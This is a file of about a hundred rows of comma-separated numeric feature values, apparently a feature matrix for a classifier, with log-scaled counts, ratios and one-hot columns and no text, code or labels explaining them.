+0,0,0,0,0,0,0,0,0,0,0,5.36598,2.19722,26.625,4.23411,0,5.05012,0.125,0,0,0.0516432,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.55108,2.70805,49.9286,4.85203,0,5.19876,0,0.214286,0,0.0901288,1.21429,0,0,0,0,0,0,3.46574,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.07072,3.7612,28,4.55388,0,5.26295,0.142857,0.214286,0.00170068,0.0901361,0.690476,0,0,0,0,0,0,3.7612,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.06146,3.17805,18.6087,4.21951,0,5.01713,0.217391,0.173913,0,0.0397196,0.26087,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.74052,3.3673,30.1786,4.46591,0,4.99619,0.142857,0.0357143,0,0.0828402,1.14286,0,0,0,0,0,0,3.80666,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.41165,2.19722,27.875,4.06044,0,4.73346,0,0,0,0.0717489,0.5,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.13944,4.60517,34.6061,4.46591,0,4.35996,0.030303,0.232323,0,0.0852306,0,0,0,0,0,0,0,3.73767,2.30259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.83992,4.57471,26.4479,4.85981,0,5.15621,0.1875,0.270833,0,0.0555337,0.395833,0,0,0,0,0,0,3.63759,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.37528,2.19722,26.875,4.23411,0,5.03945,0.125,0,0,0.0511628,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.39363,2.19722,27.375,4.23411,0,5.03211,0.125,0,0,0.0502283,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.32869,5.01064,27.7852,5.15329,0,5.1558,0.0872483,0.114094,0,0.0572464,0.228188,0,0,0,0,0,0,4.12713,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.52503,2.89037,40.0588,4.60517,0,5.24507,0.294118,0.235294,0,0.0337739,0.470588,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,11.6822,8.21284,32.1242,4.91265,0,5.25057,0.218877,0.170057,0,0.00769153,0.000542446,1.60944,1.60944,0,0,0.693147,0,4.40672,4.70953,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,1,6.77422,3.17805,38,4.70953,0,5.34484,0.0434783,0.0869565,0,0.0583524,0.565217,0.693147,0,0,0,0.693147,0,4.04305,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.50329,4.09434,30.7288,4.35671,0,5.36414,0.322034,0.254237,0,0.046332,0.271186,0,0,0,0,0,0,3.95124,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,1,1,0,0,0,0,0,0,1,5.92693,2.48491,34,4.46591,0,4.8774,0.181818,0.0909091,0,0.0106952,0.0909091,0,0,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.30079,3.21888,22.6667,4.29046,0,5.13234,0.25,0.0416667,0,0.0533088,0.333333,0,0,0,0,0,0,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.41165,2.19722,27.875,4.06044,0,4.76036,0,0,0,0.0717489,0.5,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.93164,4.36945,35.6795,4.26268,0,4.63482,0.525641,0.115385,0,0.00970176,0.0769231,0,0,0,0,0,0,3.2581,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.56526,3.55535,20.8529,4.33073,0,5.06707,0.323529,0.205882,0,0.0239774,0.235294,0,0,0,0,0,0,3.46574,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.1127,6.56244,34.8699,4.47734,0,4.5207,0.103253,0.121641,0,0.0292054,0,0.693147,0.693147,0,0,0.693147,0,4.15888,2.89037,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.32301,2.19722,25.5,4.17439,0,4.47,0,0.125,0,0.0588235,0.5,0,0,0,0,0,0,2.77259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.63723,4.18965,31.8923,4.48864,0,5.33325,0.184615,0.169231,0,0.0578871,0.369231,0.693147,0,0,0,0.693147,0,4.21951,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.50769,4.51086,20.2333,4.36945,0,5.31219,0.111111,0.177778,0,0.0735859,0.411111,0,0,0,0,0,0,3.66356,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.75257,2.56495,26.1667,4.31749,0,4.9349,0,0.166667,0,0.11465,0.833333,0,0,0,0,0,0,3.82864,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,6.33505,2.63906,43.3077,4.79579,0,4.70566,0,0.153846,0,0.0071048,0,0.693147,0,0,0,0.693147,0.693147,4.23411,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.83623,5.37528,31.9907,4.34381,0,4.89719,0.186047,0.144186,0,0.0370747,0.204651,1.60944,0,0,0,1.38629,0,3.97029,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.79176,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.527,7.01481,33.5495,4.63473,0,4.49018,0.0485612,0.163669,0,0.0470421,0.00179856,2.19722,0.693147,0.693147,0,1.09861,0,4.36945,3.52636,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.88608,4.49981,29.8764,4.41884,0,4.88513,0.314607,0.101124,0,0.0718315,0.797753,0,0,0,0,0,0,3.73767,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,8.37032,5.15906,24.948,4.85981,0,5.26875,0.0462428,0.104046,0,0.0829472,0.537572,0,0,0,0,0,0,3.7612,1.09861,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.37843,3.29584,22.6154,4.30407,0,4.4177,0.115385,0.0384615,0,0.0340136,0.153846,0,0,0,0,0,0,2.83321,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.98657,3.3322,40.037,4.31749,0,5.10308,0.37037,0.0740741,0,0.0471785,0.444444,0,0,0,0,0,0,3.21888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.38907,2.3979,21.8,4.09434,0,5.0409,0,0.1,0,0.0366972,0.4,0,0,0,0,0,0,3.43399,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.6689,7.06732,36.6852,4.58497,0,4.49083,0.0836177,0.108362,0,0.0233748,0.00255973,1.09861,0,0,0,0.693147,0,4.38203,4.38203,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.14847,2.77259,31.1333,4.35671,0,4.94548,0.133333,0.2,0,0.0578158,0.466667,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.77422,3.17805,38,4.80402,0,5.10081,0,0.130435,0,0.0755149,0.956522,0,0,0,0,0,0,3.85015,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.78897,3.17805,38.5652,4.35671,0,4.87696,0.173913,0.130435,0,0.0608794,0,0,0,0,0,0,0,3.29584,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,1,6.73697,3.49651,26.3125,4.45435,0,5.1946,0,0.28125,0,0.0558195,0.25,0.693147,0,0,0,0.693147,0,4.12713,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.60947,2.63906,20.9231,4.2485,0,4.66284,0,0.307692,0,0.0735294,1.07692,0,0,0,0,0,0,2.70805,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.75257,2.56495,26.1667,4.31749,0,4.94396,0,0.166667,0,0.11465,0.833333,0,0,0,0,0,0,3.82864,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,9.68446,6.22258,31.9384,4.94876,0,4.84144,0.0954274,0.115308,0,0.0641145,0.671968,0,0,0,0,0,0,4.2485,2.89037,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.05611,4.86753,24.4341,4.47734,0,5.10782,0.20155,0.124031,0.00126904,0.0276015,0.333333,0,0,0,0,0,0,3.89182,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.5045,5.81413,40.1766,4.62497,0,4.70159,0.0568862,0.251497,0,0.0140845,0,0.693147,0.693147,0,0,0.693147,0,4.36945,2.94444,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.86485,3.21888,39.875,4.80402,0,5.10036,0,0.166667,0,0.0679206,0.875,0.693147,0,0,0,0.693147,0.693147,4.56435,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.70571,3.80666,50.4545,5.23111,0,5.39508,0,0.25,0,0.0135135,0,0,0,0,0,0,0,3.91202,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,5.7462,2.56495,26,4.30407,0,4.93904,0,0.166667,0,0.115385,0.833333,0,0,0,0,0,0,3.80666,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,1,0,0,0,0,0,6.04025,2.94444,23.2778,4.34381,0,4.86345,0.166667,0.166667,0,0.0477327,0.0555556,0,0,0,0,0,0,3.13549,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.70808,3.13549,37.1818,4.70048,0,5.01654,0.181818,0.136364,0,0.0244499,0.181818,0,0,0,0,0,0,4.30407,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.36129,2.19722,26.5,4.23411,0,5.04207,0.125,0,0,0.0518868,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,1,0,0,0,1,8.56998,5.42053,23.4222,4.93447,0,5.34312,0.0444444,0.182222,0,0.0495256,0.32,0,0,0,0,0,0,3.7612,2.56495,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,6.25383,2.56495,43.25,4.72739,0,4.7051,0,0.0833333,0,0.00770713,0,0.693147,0,0,0,0.693147,0.693147,4.27667,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.51915,4.00733,34.1111,4.36945,0,5.21081,0.240741,0.203704,0,0.0309446,0.259259,0.693147,0,0,0,0.693147,0,3.71357,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.67833,4.21951,32.2388,4.55388,0,5.36013,0.164179,0.19403,0,0.0587963,0.373134,0.693147,0,0,0,0.693147,0,4.11087,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,1,1,0,1,0,0,0,0,0,7.28961,3.52636,44.3636,4.8828,0,5.18378,0.030303,0.181818,0,0.0512295,1,0.693147,0,0,0,0.693147,0,4.15888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.39359,3.04452,29.85,4.23411,0,5.30114,0,0.15,0,0.100503,0.25,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,1,0,0,0,0,8.49577,5.20949,26.8846,4.35671,0,5.00416,0.142857,0.0769231,0,0.0682608,0.703297,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.83773,2.48491,31.0909,5.03695,0,5.39454,0,0.181818,0,0.0584795,0.727273,0,0,0,0,0,0,3.4012,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.44889,3.3322,23.3704,4.49981,0,5.14198,0.0740741,0.259259,0,0.0649762,0.925926,0,0,0,0,0,0,2.77259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.96101,2.83321,24.1875,4.17439,0,5.30153,0,0.125,0,0.0387597,0.3125,0,0,0,0,0,0,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.82655,3.3673,32.8929,4.49981,0,4.95059,0.214286,0.178571,0,0.0760043,0.75,0,0,0,0,0,0,3.7612,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,9.96204,6.50429,31.7916,4.60517,0,5.37428,0.115442,0.112444,0.000471587,0.0843197,0.775112,1.09861,0,0,0,1.09861,0,4.44265,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.90937,5.85507,21.2644,4.30407,0,5.05561,0.178161,0.0747126,0,0.0577027,0.373563,0.693147,0,0,0,0.693147,0,3.49651,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.95222,5.56452,29.7077,4.46591,0,4.55334,0.0230769,0.161538,0,0.0491973,0.00384615,0.693147,0,0,0,0.693147,0,4.09434,2.3979,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.20658,3.09104,23.5714,4.14313,0,4.97974,0,0.142857,0,0.0808081,0.380952,0,0,0,0,0,0,3.61092,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.81521,4.72739,22.1161,4.55388,0,5.20764,0.142857,0.125,0,0.0476383,0.491071,0,0,0,0,0,0,3.85015,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.89494,5.64897,25.7739,4.51086,0,5.30537,0.187279,0.123675,0,0.0821223,0.378092,0,0,0,0,0,0,4.18965,2.48491,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.67471,5.2933,29.5556,4.39445,0,4.87172,0.156566,0.116162,0,0.0422078,0.388889,0.693147,0,0,0,0.693147,0,3.82864,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.78945,4.21951,36.0299,4.45435,0,4.58958,0.0746269,0.149254,0,0.04971,0,0,0,0,0,0,0,3.97029,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.59323,5.22575,29.1568,4.85981,0,5.18898,0.243243,0.162162,0,0.0533927,0.248649,0,0,0,0,0,0,4.35671,2.07944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.42398,4.92725,33.2409,4.72739,0,4.73995,0.277372,0.124088,0,0.0507246,0.489051,0.693147,0.693147,0,0,0.693147,0,4.11087,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.01392,3.8712,23.6383,4.46591,0,4.80537,0.0425532,0.191489,0,0.130513,0.851064,0,0,0,0,0,0,3.3673,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.83948,3.52636,28.2727,4.26268,0,4.91154,0.0606061,0.242424,0,0.0310825,0.030303,0,0,0,0,0,0,3.71357,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.4848,2.19722,30,4.23411,0,5.09321,0.125,0,0,0.0458333,0.125,0,0,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.5979,4.27667,28.0704,4.75359,0,4.87039,0.0422535,0.267606,0,0.0296036,0.056338,0.693147,0,0,0,0.693147,0,3.98898,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.0163,6.31355,40.6316,4.81218,0,4.67921,0.0471869,0.145191,8.93336e-05,0.018224,0.0199637,2.30259,2.30259,0,0,1.94591,0.693147,4.51086,2.89037,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.8094,7.47022,28.2109,5.26786,0,5.73591,0.163056,0.0381984,0,0.0342145,0.277081,1.60944,0,0,0,1.09861,0.693147,4.39445,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.37528,2.19722,26.875,4.23411,0,5.0289,0.125,0,0,0.0511628,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.68017,2.56495,24.3333,3.98898,0,4.79048,0.25,0.25,0,0,0,0,0,0,0,0,0,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.70796,4.39445,27.8125,4.34381,0,4.80388,0.125,0.075,0,0.0773034,0.75,0,0,0,0,0,0,3.61092,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.10743,3.4012,42.069,4.61512,0,5.13721,0.689655,0.103448,0,0.0229508,0.206897,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.35437,3.04452,28.7,4.23411,0,5.29325,0,0.15,0,0.10453,0.25,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.71719,5.43372,26.7807,4.36945,0,5.10796,0.355263,0.118421,0,0.0258762,0.241228,0.693147,0,0,0,0.693147,0,3.49651,0.693147,0,0,0,0.693147,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.03309,2.63906,32,4.21951,0,4.66515,0.538462,0.0769231,0,0.0240385,0.153846,0,0,0,0,0,0,3.3322,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.99294,4.67283,27.9151,4.36945,0,4.76446,0.235849,0.0943396,0,0.0679284,0.481132,0,0,0,0,0,0,3.04452,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.68708,4.44265,25.9405,4.35671,0,4.86652,0.0595238,0.22619,0,0.0316659,0,0,0,0,0,0,0,4.02535,1.60944,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.27944,4.7362,34.8761,4.45435,0,4.69495,0.0353982,0.132743,0,0.0687643,0.0530973,0,0,0,0,0,0,4.21951,1.94591,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,1,0,0,0,1,11.8642,8.31581,34.7712,5.91889,0.000244678,4.3916,0.109616,0.0614142,8.44559e-05,0.0856031,0.618547,0.693147,0.693147,0,0,0.693147,0,5.17048,1.38629,0,0,1.94591,0,0,0,0,0,0,0,1.79176,0,0,0,0,0,0,0,0,0,0,0,2.07944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.64639,3.3673,27.4643,4.21951,0,4.96843,0.142857,0.0357143,0,0.0910273,1.14286,0,0,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.93081,6.36303,35.4974,4.91265,0,5.27451,0.265976,0.127807,0,0.00661704,0.00345423,1.94591,1.94591,0,0,1.79176,0,4.80402,2.19722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.7293,4.26268,32.4714,4.82028,0,5.09975,0.1,0.0714286,0,0.075231,0.485714,0.693147,0,0,0,0.693147,0,4.06044,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.74082,5.23111,33.6129,4.48864,0,4.50268,0.0215054,0.172043,0,0.059501,0,0,0,0,0,0,0,3.82864,2.63906,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.39192,3.29584,22.9231,4.18965,0,4.21632,0.0769231,0.115385,0,0.0587248,0.346154,0,0,0,0,0,0,3.29584,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.50728,3.04452,33.45,4.89035,0,5.27169,0,0.15,0,0.0896861,0.25,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,0,7.31655,3.89182,31.3333,4.93447,0,5.02896,0.0833333,0.1875,0,0.0405585,0.166667,1.09861,0,0,0,0.693147,0,3.95124,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.04925,3.29584,44.2692,4.34381,0,4.93647,0.769231,0.0384615,0,0.00695048,0,1.38629,0,0,0,1.38629,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,7.10085,3.7612,28.8571,4.52179,0,5.06687,0.0952381,0.166667,0,0.0453795,0.190476,0.693147,0,0,0,0.693147,0,4.30407,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,7.10497,3.7612,28.9762,4.54329,0,5.06495,0.0952381,0.166667,0,0.0451931,0.190476,0.693147,0,0,0,0.693147,0,4.27667,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.71111,5.24702,32.1111,4.41884,0,4.50868,0.0529101,0.222222,0,0.0182897,0,0,0,0,0,0,0,3.49651,2.3979,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 